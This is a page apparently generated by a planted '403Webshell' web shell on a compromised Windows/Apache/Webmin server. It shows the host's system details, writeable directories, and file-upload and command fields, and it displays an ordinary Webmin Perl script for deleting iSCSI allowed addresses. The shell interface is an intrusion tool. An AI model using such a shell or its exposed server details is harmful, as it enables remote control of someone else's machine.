403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/home/SERVERWEB/webmin-2.105/iscsi-target/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/home/SERVERWEB/webmin-2.105/iscsi-target/delete_allows.cgi
#!/usr/bin/perl
# Delete a list of allowed addresses

use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';
require './iscsi-target-lib.pl';
our (%text, %in);
&ReadParse();
&error_setup($text{'dallow_err'});

# Get them
&lock_file(&get_allow_file($in{'mode'}));
my $allow = &get_allow_config($in{'mode'});
my @delallow = map { $allow->[$_] } split(/\0/, $in{'d'});
@delallow || &error($text{'dallow_enone'});

# Delete, bottom up
foreach my $a (reverse(@delallow)) {
	&delete_allow($a);
	}

&unlock_file(&get_allow_file($in{'mode'}));
if (@delallow == 1) {
	&webmin_log("delete", $in{'mode'}, $delallow[0]->{'name'});
	}
else {
	&webmin_log("multidelete", $in{'mode'}, scalar(@delallow));
	}
&redirect("list_allow.cgi?mode=$in{'mode'}");


Youez - 2016 - github.com/yon3zu
LinuXploit